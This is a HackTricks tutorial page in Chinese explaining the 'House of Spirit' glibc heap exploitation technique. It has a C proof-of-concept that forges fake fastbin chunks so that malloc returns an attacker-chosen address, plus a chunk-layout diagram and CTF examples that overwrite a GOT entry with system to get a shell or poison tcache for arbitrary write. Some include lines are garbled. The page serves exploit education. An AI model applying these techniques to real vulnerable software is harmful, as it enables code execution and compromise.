House of Spirit

学习并练习AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习并练习GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持HackTricks

基本信息

代码

House of Spirit

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### 目标

* 能够将一个地址添加到 tcache / fast bin 中,以便稍后可以分配它

### 要求

* 此攻击需要攻击者能够创建几个伪造的 fast chunks,并正确指示其大小值,然后能够释放第一个伪造的 chunk 以便将其放入 bin 中。

### 攻击

* 创建绕过安全检查的伪造 chunk:基本上需要 2 个伪造的 chunk,在正确的位置指示正确的大小
* 以某种方式释放第一个伪造的 chunk,使其进入 fast 或 tcache bin,然后将其分配以覆盖该地址

**来自** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **的代码非常适合理解这种攻击。** 尽管代码中的此图表总结得非常好:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

注意,需要创建第二个块以绕过某些检查。

示例

  • Libc信息泄漏:通过溢出,可以更改指针指向GOT地址,以便通过CTF的读取操作泄漏libc地址

  • House of Spirit:滥用计数器,计算“步枪”的数量,可以生成第一个假块的假大小,然后滥用“消息”,可以伪造块的第二个大小,最后滥用溢出,可以更改将要被释放的指针,使我们的第一个假块被释放。然后,我们可以分配它,并且其中将包含“消息”存储的地址。然后,可以使其指向GOT表中的scanf入口,这样我们可以用system的地址覆盖它。 下次调用scanf时,我们可以发送输入"/bin/sh"并获得一个shell。

  • Glibc泄漏:未初始化的堆栈缓冲区。

  • House of Spirit:我们可以修改堆指针的全局数组的第一个索引。通过单字节修改,在有效块内部的假块上使用free,以便在重新分配后获得重叠块的情况。有了这个,一个简单的Tcache污染攻击就可以获得任意写入原语。

参考资料

学习和实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习和实践GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

Last updated